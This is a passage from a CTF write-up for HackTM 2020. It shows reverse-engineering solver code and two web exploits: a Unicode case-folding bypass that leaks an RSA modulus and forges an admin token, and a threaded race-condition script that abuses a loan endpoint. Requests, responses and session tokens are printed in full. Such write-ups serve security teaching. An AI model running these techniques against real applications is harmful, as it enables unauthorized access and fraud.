                    {
                        fo1(i,31)if(res[i]!=req[i])goto naive;
                        printf("%d %d %d %d %d %d\n",x0,x1,x2,x3,x4,x5);
                        fprintf(stderr,"%d %d %d %d %d %d\n",x0,x1,x2,x3,x4,x5);
                        naive:;
                    }
                    //fo0(i,c)putchar(tmp[i]);puts("");
                    //fo0(i,picosha2::k_digest_size)printf("%02x",res[i]);puts("");
                    //cnt+=c;
                    D(5);
                }
                D(4);
            }
            D(3);
        }
        D(2);
    }
    out,x0,' ',x1,'\n';
}

int main()
{
    omp_set_num_threads(24);
#pragma omp parallel for
    for(int i=0;i<C0*C1;i++)
        work(i%C0,i/C0);
}

The final key is learningfunfriendteamovercomingpassion, then we patched contains_key, input these keys into the binary, then we got the flag.

mama bear

It generates x86 instructions from some byte code and given key.

Here's some python equivalent.

code = '#0#:#4#8#N#<#L#J#D#@#B#F#2#>#H#6!CBKMNLHOIAJ@DFGE?8:67=<>93;1452-4-:-8-2-F-6-B-L-H-J->-<-D-@-ND&-D-E@&-@-AB&-B-CF&-F-GN&-N-O:&-:-;L&-L-M<&-<-=0&-0-1>&->-?6&-6-72&-2-34&-4-58&-8-9J&-J-KH&-H-I!8:5>;=91?072634<CEM@IBJKLAGNFDH-A-9-=-M-?-3-I-G-E-5-C-1-K-;-77&-7-6G&-G-FI&-I-HC&-C-BK&-K-JA&-A-@O&-O-N1&-1-0M&-M-L=&-=-<5&-5-49&-9-83&-3-2E&-E-D;&-;-:?&-?->!L7>-L->-76<H?N3-6-3-N-?-H-<K9B-K-B-9=J;FCI-=-I-C-F-;-J8@O124-8-4-2-1-O-@M5:DGA-M-A-G-D-:-5A@&-@-AIH&-H-I98&-8-9GF&-F-G;:&-:-;76&-6-7ON&-N-OKJ&-J-K54&-4-5ML&-L-M32&-2-3ED&-D-E10&-0-1?>&->-?=<&-<-=CB&-B-C!C7@1LI-C-I-L-1-@-74F=-4-=-FKG?0NM-K-M-N-0-?-GHA3-H-3-A5D9<6B-5-B-6-<-9-DJE;8>2-J-2->-8-;-EFG&-G-FNO&-O-NBC&-C-BDE&-E-D@A&-A-@67&-7-689&-9-8<=&-=-<JK&-K-J01&-1-0HI&-I-H45&-5-423&-3-2LM&-M-L>?&-?->:;&-;-:!JKFEH@IMCGANLDOB<9;5>728:=463?1-2-N-6-<-8-J-D-@-4->-L-:-F-B-HJ&-J-K0&-0-1F&-F-G6&-6-72&-2-3L&-L-M@&-@-AH&-H-I4&-4-5<&-<-=N&-N-O>&->-?D&-D-EB&-B-C8&-8-9:&-:-;!862:>1?3;=<47950JMFHENDC@ILABKG-?-G-5-3-I-C-1-7-9-M-;-A-=-K-EO&-O-NE&-E-D=&-=-<A&-A-@G&-G-F7&-7-65&-5-49&-9-8I&-I-H1&-1-0M&-M-L3&-3-2;&-;-:K&-K-JC&-C-B?&-?->!L7>-L->-7I=J;FC-I-C-F-;-J-=9BK-9-K-B5:DGAM-5-M-A-G-D-:1248@O-1-O-@-8-4-236<H?N-3-N-?-H-<-610&-0-154&-4-5?>&->-?ON&-N-OGF&-F-GA@&-@-A32&-2-3ED&-D-E;:&-:-;CB&-B-CIH&-H-IKJ&-J-KML&-L-M=<&-<-=98&-8-976&-6-7!<6B5D9-<-9-D-5-B-6HA3-H-3-A4F=-4-=-F7@1LIC-7-C-I-L-1-@G?0NMK-G-K-M-N-0-?>2JE;8->-8-;-E-J-2HI&-I-HJK&-K-J01&-1-0<=&-=-<LM&-M-LFG&-G-F67&-7-645&-5-4@A&-A-@>?&-?->89&-9-8DE&-E-DBC&-C-BNO&-O-N23&-3-2:;&-;-:#2#B#F#4#0#8#>#D#@#H#L#N#:#J#6#<!'

pwd = iter([5,ord('X'),0,0,0,0,0,0,ord('W')])
secret=list(map(lambda x:int(x,16),'0E 8D 8E 0E 67 4E E5 E5 8E EE 2E 8D 8C AE 45 CE 6D EC A5 ED EE 8B 4E AE 0E 0E 8C AD 64 0E 86 67'.split(' ')))
usecret=list(range(48,80))
assert len(usecret)==32
pwd_bytes=[0]*4

def proc_pwd_byte(pwd_byte):
    four_byte_table=[1,2,3,0]
    pwd_bytes[0] = four_byte_table[pwd_byte & 3]
    four_byte_table = four_byte_table[:pwd_byte & 3] + four_byte_table[(pwd_byte & 3)+1:]
    t=(pwd_byte>>2)%3
    pwd_bytes[1] = four_byte_table[t]
    four_byte_table = four_byte_table[:t] + four_byte_table[t+1:]
    t=(pwd_byte//12)%2
    pwd_bytes[2] = four_byte_table[t]
    four_byte_table = four_byte_table[:t] + four_byte_table[t+1:]
    pwd_bytes[3] = four_byte_table[0]

pc=0
def get():
    global pc
    r=code[pc]
    pc+=1
    return ord(r)

stack=[]

def pop():
    global stack
    r=stack[-1]
    stack=stack[:-1]
    return r

def ror(x,y):
    a=secret[x+1]*256+secret[x]
    a=(a>>y)|((a&((1<<y)-1))<<(16-y))
    secret[x+1]=a>>8
    secret[x]=a&255

def rol(x,y):
    return (x<<y&255)|(x>>(8-y))

def push(x):
    stack.append(x)

def speco(a):
    b=a>>8
    a=a&0xff
    for i in range(8):
        y = b&1
        x = a&1
        v7 = pwd_bytes[y*2+x]>>1
        v6 = pwd_bytes[y*2+x]&1
        b = rol(v7|(b&0xfe), 1)
        a = rol(v6|(a&0xfe), 1)
    return a<<8|b

def spec():
    a=pop()
    b=pop()
    t=speco(b<<8|a)
    b=t>>8
    a=t&255
    push(b)
    push(a)

def cpu():
    cur=next(pwd)
    proc_pwd_byte(cur)
    while True:
        op=get()
        if op==0x26:
            spec()
        elif op==0x21: # !
            break
        elif op==0x2d: # -
            secret[get()-0x30]=pop()&255
        elif op==0x23: # #
            fr = get() - 0x30
            ror(fr,cur&7)
        else:
            assert op <= 0x30 + 0x2B
            push(secret[op-0x30])
    pass

cpu()
print(''.join(map(chr,usecret)))
secret=usecret

for i in range(8):
    cpu()

s=''
for i in range(16):
    s+='%02x'%secret[i]
print(s)
s=''
for i in range(16,32):
    s+='%02x'%secret[i]
print(s)

Each digit of the key is used twice, once be modulo 24, once be modulo 8. So there are only 246=19110297624^6=191102976 different keys.

We can just enumerate the key and solve the equation.

#include<bits/stdc++.h>

typedef unsigned int uint;
typedef long long ll;
typedef unsigned long long ull;
typedef double lf;
typedef long double llf;
typedef std::pair<int,int> pii;

#define xx first
#define yy second

template<typename T> inline T max(T a,T b){return a>b?a:b;}
template<typename T> inline T min(T a,T b){return a<b?a:b;}
template<typename T> inline T abs(T a){return a>0?a:-a;}
template<typename T> inline bool repr(T &a,T b){return a<b?a=b,1:0;}
template<typename T> inline bool repl(T &a,T b){return a>b?a=b,1:0;}
template<typename T> inline T gcd(T a,T b){T t;if(a<b){while(a){t=a;a=b%a;b=t;}return b;}else{while(b){t=b;b=a%b;a=t;}return a;}}
template<typename T> inline T sqr(T x){return x*x;}
#define mp(a,b) std::make_pair(a,b)
#define pb push_back
#define I __attribute__((always_inline))inline
#define mset(a,b) memset(a,b,sizeof(a))
#define mcpy(a,b) memcpy(a,b,sizeof(a))

#define fo0(i,n) for(int i=0,i##end=n;i<i##end;i++)
#define fo1(i,n) for(int i=1,i##end=n;i<=i##end;i++)
#define fo(i,a,b) for(int i=a,i##end=b;i<=i##end;i++)
#define fd0(i,n) for(int i=(n)-1;~i;i--)
#define fd1(i,n) for(int i=n;i;i--)
#define fd(i,a,b) for(int i=a,i##end=b;i>=i##end;i--)
#define foe(i,x)for(__typeof((x).end())i=(x).begin();i!=(x).end();++i)
#define fre(i,x)for(__typeof((x).rend())i=(x).rbegin();i!=(x).rend();++i)

struct Cg{I char operator()(){return getchar();}};
struct Cp{I void operator()(char x){putchar(x);}};
#define OP operator
#define RT return *this;
#define UC unsigned char
#define RX x=0;UC t=P();while((t<'0'||t>'9')&&t!='-')t=P();bool f=0;\
if(t=='-')t=P(),f=1;x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
#define RL if(t=='.'){lf u=0.1;for(t=P();t>='0'&&t<='9';t=P(),u*=0.1)x+=u*(t-'0');}if(f)x=-x
#define RU x=0;UC t=P();while(t<'0'||t>'9')t=P();x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
#define TR *this,x;return x;
I bool IS(char x){return x==10||x==13||x==' ';}template<typename T>struct Fr{T P;I Fr&OP,(int&x)
{RX;if(f)x=-x;RT}I OP int(){int x;TR}I Fr&OP,(ll &x){RX;if(f)x=-x;RT}I OP ll(){ll x;TR}I Fr&OP,(char&x)
{for(x=P();IS(x);x=P());RT}I OP char(){char x;TR}I Fr&OP,(char*x){char t=P();for(;IS(t);t=P());if(~t){for(;!IS
(t)&&~t;t=P())*x++=t;}*x++=0;RT}I Fr&OP,(lf&x){RX;RL;RT}I OP lf(){lf x;TR}I Fr&OP,(llf&x){RX;RL;RT}I OP llf()
{llf x;TR}I Fr&OP,(uint&x){RU;RT}I OP uint(){uint x;TR}I Fr&OP,(ull&x){RU;RT}I OP ull(){ull x;TR}};Fr<Cg>in;
#define WI(S) if(x){if(x<0)P('-'),x=-x;UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
#define WL if(y){lf t=0.5;for(int i=y;i--;)t*=0.1;if(x>=0)x+=t;else x-=t,P('-');*this,(ll)(abs(x));P('.');if(x<0)\
x=-x;while(y--){x*=10;x-=floor(x*0.1)*10;P(((int)x)%10+'0');}}else if(x>=0)*this,(ll)(x+0.5);else *this,(ll)(x-0.5);
#define WU(S) if(x){UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
template<typename T>struct Fw{T P;I Fw&OP,(int x){WI(10);RT}I Fw&OP()(int x){WI(10);RT}I Fw&OP,(uint x){WU(10);RT}
I Fw&OP()(uint x){WU(10);RT}I Fw&OP,(ll x){WI(19);RT}I Fw&OP()(ll x){WI(19);RT}I Fw&OP,(ull x){WU(20);RT}I Fw&OP()
(ull x){WU(20);RT}I Fw&OP,(char x){P(x);RT}I Fw&OP()(char x){P(x);RT}I Fw&OP,(const char*x){while(*x)P(*x++);RT}
I Fw&OP()(const char*x){while(*x)P(*x++);RT}I Fw&OP()(lf x,int y){WL;RT}I Fw&OP()(llf x,int y){WL;RT}};Fw<Cp>out;

const char code[]="#0#:#4#8#N#<#L#J#D#@#B#F#2#>#H#6!CBKMNLHOIAJ@DFGE?8:67=<>93;1452-4-:-8-2-F-6-B-L-H-J->-<-D-@-ND&-D-E@&-@-AB&-B-CF&-F-GN&-N-O:&-:-;L&-L-M<&-<-=0&-0-1>&->-?6&-6-72&-2-34&-4-58&-8-9J&-J-KH&-H-I!8:5>;=91?072634<CEM@IBJKLAGNFDH-A-9-=-M-?-3-I-G-E-5-C-1-K-;-77&-7-6G&-G-FI&-I-HC&-C-BK&-K-JA&-A-@O&-O-N1&-1-0M&-M-L=&-=-<5&-5-49&-9-83&-3-2E&-E-D;&-;-:?&-?->!L7>-L->-76<H?N3-6-3-N-?-H-<K9B-K-B-9=J;FCI-=-I-C-F-;-J8@O124-8-4-2-1-O-@M5:DGA-M-A-G-D-:-5A@&-@-AIH&-H-I98&-8-9GF&-F-G;:&-:-;76&-6-7ON&-N-OKJ&-J-K54&-4-5ML&-L-M32&-2-3ED&-D-E10&-0-1?>&->-?=<&-<-=CB&-B-C!C7@1LI-C-I-L-1-@-74F=-4-=-FKG?0NM-K-M-N-0-?-GHA3-H-3-A5D9<6B-5-B-6-<-9-DJE;8>2-J-2->-8-;-EFG&-G-FNO&-O-NBC&-C-BDE&-E-D@A&-A-@67&-7-689&-9-8<=&-=-<JK&-K-J01&-1-0HI&-I-H45&-5-423&-3-2LM&-M-L>?&-?->:;&-;-:!JKFEH@IMCGANLDOB<9;5>728:=463?1-2-N-6-<-8-J-D-@-4->-L-:-F-B-HJ&-J-K0&-0-1F&-F-G6&-6-72&-2-3L&-L-M@&-@-AH&-H-I4&-4-5<&-<-=N&-N-O>&->-?D&-D-EB&-B-C8&-8-9:&-:-;!862:>1?3;=<47950JMFHENDC@ILABKG-?-G-5-3-I-C-1-7-9-M-;-A-=-K-EO&-O-NE&-E-D=&-=-<A&-A-@G&-G-F7&-7-65&-5-49&-9-8I&-I-H1&-1-0M&-M-L3&-3-2;&-;-:K&-K-JC&-C-B?&-?->!L7>-L->-7I=J;FC-I-C-F-;-J-=9BK-9-K-B5:DGAM-5-M-A-G-D-:1248@O-1-O-@-8-4-236<H?N-3-N-?-H-<-610&-0-154&-4-5?>&->-?ON&-N-OGF&-F-GA@&-@-A32&-2-3ED&-D-E;:&-:-;CB&-B-CIH&-H-IKJ&-J-KML&-L-M=<&-<-=98&-8-976&-6-7!<6B5D9-<-9-D-5-B-6HA3-H-3-A4F=-4-=-F7@1LIC-7-C-I-L-1-@G?0NMK-G-K-M-N-0-?>2JE;8->-8-;-E-J-2HI&-I-HJK&-K-J01&-1-0<=&-=-<LM&-M-LFG&-G-F67&-7-645&-5-4@A&-A-@>?&-?->89&-9-8DE&-E-DBC&-C-BNO&-O-N23&-3-2:;&-;-:#2#B#F#4#0#8#>#D#@#H#L#N#:#J#6#<!";

const int req[32]={139, 164, 9, 150, 8, 129, 251, 171, 103, 110, 126, 74, 71, 68, 119, 112, 179, 101, 213, 124, 24, 97, 105, 40, 107, 47, 6, 77, 11, 67, 75, 246};

const int SG=32*8;

typedef std::bitset<32*8+1>bit;

int to_int(bit*s)
{
    int t=0;
    fo0(j,8)
    {
        t+=(int)s[j][SG]<<j;
    }
    return t;
}

void proc_pwd_byte(int x,int*o)
{
    int t[4]={1,2,3,0};
    fd1(i,4)
    {
        int y=x%i;
        x/=i;
        o[4-i]=t[y];
        fo(j,y,i-2)t[j]=t[j+1];
    }
}

int pb[24][4],rc[2][2][2][2][2];
bool plx[24],ply[24],plz[24];
bool phx[24],phy[24],phz[24];

void speco(bit*s,int pwd)
{
    //low to high
    bit ta,tb;
    fo0(i,8)
    {
        ta.reset(),tb.reset();
        //out,plx[pwd],' ',ply[pwd],' ',plz[pwd],'\n';
        if(plx[pwd])ta^=s[i];
        if(ply[pwd])ta^=s[i+8];
        if(plz[pwd])ta[SG].flip();
        if(phx[pwd])tb^=s[i];
        if(phy[pwd])tb^=s[i+8];
        if(phz[pwd])tb[SG].flip();
        //out,(int)s[i][SG],' ',(int)s[i+8][SG],' ',(int)ta[SG],' ',(int)tb[SG],'\n';
        s[i]=tb;
        s[i+8]=ta;
    }
}

void push(bit*stack,bit*s,int&sc)
{
    fo0(i,8)stack[sc+i]=s[i];
    sc+=8;
}

void pop(bit*stack,bit*s,int&sc)
{
    sc-=8;
    fo0(i,8)s[i]=stack[sc+i];
}

void spec(bit*stack,int&sc,int pwd)
{
    //exit(233);
    bit tmp[16];
    pop(stack,tmp,sc);
    pop(stack,tmp+8,sc);
    //out,to_int(tmp),' ',to_int(tmp+8),'\n';
    speco(tmp,pwd);
    push(stack,tmp+8,sc);
    push(stack,tmp,sc);
    //out,to_int(tmp),' ',to_int(tmp+8),'\n';
}

int get(int&pc)
{
    return code[pc++];
}

void ror(bit*secret,int x,int y)
{
    bit tmp[16];
    fo0(i,y)tmp[i]=secret[x*8+i];
    fo0(i,16-y)secret[x*8+i]=secret[x*8+i+y];
    fo0(i,y)secret[x*8+i+16-y]=tmp[i];
}

void cpu(bit*secret,int&pc,int pwd)
{
    bit stack[248];
    int sc=0;
    pwd%=24;
    while(1)
    {
        int op=get(pc);
        if(op==0x26)spec(stack,sc,pwd);
        else if(op==0x21)break;
        else if(op==0x2d)pop(stack,secret+(get(pc)-0x30)*8,sc);
        else if(op==0x23)ror(secret,get(pc)-0x30,pwd&7);
        else push(stack,secret+(op-0x30)*8,sc);
        //out,op,' ',stack.size()/8,'\n';
        //print_str();
        //if(op==0x26)exit(233);
    }
}

int succ=0;

void work(int k1,int k2,int k3,int k4,int k5,int k6)
{
    int pc=33;
    bit s[32*8];
    fo0(i,32)
    {
        fo0(j,8)
        {
            s[i*8+j].reset();
            s[i*8+j][i*8+j]=1;
        }
    }
    cpu(s,pc,'X');
    cpu(s,pc,k1);
    cpu(s,pc,k2);
    cpu(s,pc,k3);
    cpu(s,pc,k4);
    cpu(s,pc,k5);
    cpu(s,pc,k6);
    cpu(s,pc,'W');
    fo0(i,32)
    {
        fo0(j,8)
        {
            if(req[i]>>j&1)s[i*8+j][SG].flip();
        }
    }
    const int n=256;
    fo0(i,n)
    {
        int t=i;
        while(t<n&&!s[t][i])t++;
        if(t!=i)std::swap(s[t],s[i]);
        assert(s[i][i]);
        fo0(j,n)if(j!=i&&s[j][i])s[j]^=s[i];
    }
    unsigned char res[32];
    mset(res,0);
    fo0(i,n)res[i>>3]|=int(s[i][SG])<<(i&7);
    //fo0(i,32)out,res[i],',';out,'\n';
    bool flag=1;
    fo0(i,32)flag&=res[i]>=32&&res[i]<=127;
    if(flag)
    {
        //out,"ok\n";
        fprintf(stderr,"%s\n",res);
    }
    succ++;
    if(succ%10000==0)out,succ,'\n';
}

int main()
{
    fo0(i,24)proc_pwd_byte(i,pb[i]);
    fo0(x,2)fo0(y,2)fo0(z,2)fo0(i,2)fo0(j,2)
    {
        rc[x][y][z][i][j]=x*i^y*j^z;
    }
    fo0(i,24)
    {
        //out,i,':';fo0(j,4)out,pb[i][j],' ';out,'\n';
        bool ok=0;
        fo0(x,2)fo0(y,2)fo0(z,2)
        {
            bool flag=1;
            fo0(j,2)fo0(k,2)if(rc[x][y][z][j][k]!=(pb[i][j+k*2]&1))flag=0;
            //fo0(j,2)fo0(k,2)out,x,' ',y,' ',z,' ',j,' ',k,' ',rc[x][y][z][j][k],' ',pb[i][j*2+k]&1,'\n';
            if(flag)
            {
                plx[i]=x,ply[i]=y,plz[i]=z;
                ok=1;break;
            }
        }
        assert(ok);
        ok=0;
        fo0(x,2)fo0(y,2)fo0(z,2)
        {
            bool flag=1;
            fo0(j,2)fo0(k,2)if(rc[x][y][z][j][k]!=(pb[i][j+k*2]>>1))flag=0;
            if(flag)
            {
                phx[i]=x,phy[i]=y,phz[i]=z;
                ok=1;break;
            }
        }
        assert(ok);
        //out,plx[i],' ',ply[i],' ',plz[i],'\n';
        //out,phx[i],' ',phy[i],' ',phz[i],'\n';
    }
    for(uint i=0;i<191102976;i++)
    {
        int t=i;
        int a=t%26;t/=26;
        int b=t%26;t/=26;
        int c=t%26;t/=26;
        int d=t%26;t/=26;
        int e=t%26;t/=26;
        int f=t;
        work(a,b,c,d,e,f);
    }
}

After add openmp to this program, it find lots of strings which like shuffled flag. I manually extract the real flag from it.

Web

Draw with us

First, by fuzzing, I found that hacKtm (K is chr(8490)) can beat the toLowerCase and toUpperCase.

After register with this, we can update our rights with [["n"]]. Then the serverInfo will leak nn.

Then post init with p=1,q=np=1,q=n, we got the admin token. Just use this token to view /flag.

>>> print(requests.post('http://167.172.165.153:60001/updateUser',json={'color':'1','rights':[['n']]},headers={'Authorization':'...(omitted)'}).text)
{"status":"ok","data":{"user":{"username":"hacKtm","id":"c9a76173-8467-4207-99cd-e239a2b93b8b","color":1,"rights":["message","height","width","version","usersOnline","adminUsername","backgroundColor",["n"]]}}}
>>> print(requests.get('http://167.172.165.153:60001/serverInfo',headers={'Authorization':'...'}).text)
{"status":"ok","data":{"info":[{"name":"message","value":"Hello there!"},{"name":"height","value":80},{"name":"width","value":120},{"name":"version","value":5e-324},{"name":"usersOnline","value":155},{"name":"adminUsername","value":"hacktm"},{"name":"backgroundColor","value":8947848},{"name":["n"],"value":"54522055008424167489770171911371662849682639259766156337663049265694900400480408321973025639953930098928289957927653145186005490909474465708278368644555755759954980218598855330685396871675591372993059160202535839483866574203166175550802240701281743391938776325400114851893042788271007233783815911979"}]}}
>>> requests.post('http://167.172.165.153:60001/init',json={'p':'1','q':'54522055008424167489770171911371662849682639259766156337663049265694900400480408321973025639953930098928289957927653145186005490909474465708278368644555755759954980218598855330685396871675591372993059160202535839483866574203166175550802240701281743391938776325400114851893042788271007233783815911979'}).text
'{"status":"ok","data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MCwiaWF0IjoxNTgwNTczMDAxfQ.esUKUwyiWQ-eZJHGqXKTjXalVfQTp2dPz237tnF-ZvY"}}'

My Bank

Use many threads to loan money at the same time. Then it will be race condition. Then just buy the flag.

import requests,threading,time
r=requests.post('http://178.128.175.6:50090/register',data={'csrf_token':'IjczZjg0NDM2NmU3NjVhZjgyZmNlZmNkZDFlNWJlOTYxMTVmZjcyMzci.XjdnLQ.-fiohAVQha1Nn-OjrhWRg8Yd84g','username':'testx'},headers={'cookie':'session=eyJjc3JmX3Rva2VuIjoiNzNmODQ0MzY2ZTc2NWFmODJmY2VmY2RkMWU1YmU5NjExNWZmNzIzNyJ9.XjdUZg.KqdE__xzueJrl1VUwZ_-vgc5980'})
sess=r.cookies['session']
print(sess)

def work():
    r=requests.post('http://178.128.175.6:50090/',data={'csrf_token':'IjczZjg0NDM2NmU3NjVhZjgyZmNlZmNkZDFlNWJlOTYxMTVmZjcyMzci.XjdnLQ.-fiohAVQha1Nn-OjrhWRg8Yd84g','loan':'10'},headers={'cookie':'session='+sess})

t=0
while True:
    threading.Thread(target=work).start()
    t+=1
    if t%20==0:
        time.sleep(0.01)
time.sleep(3)

日期: 2020-02-06

标签: CTF Writeup

这是一篇旧文,原始文章及评论可在 https://oldblog.mcfx.us/archives/278/ 查看。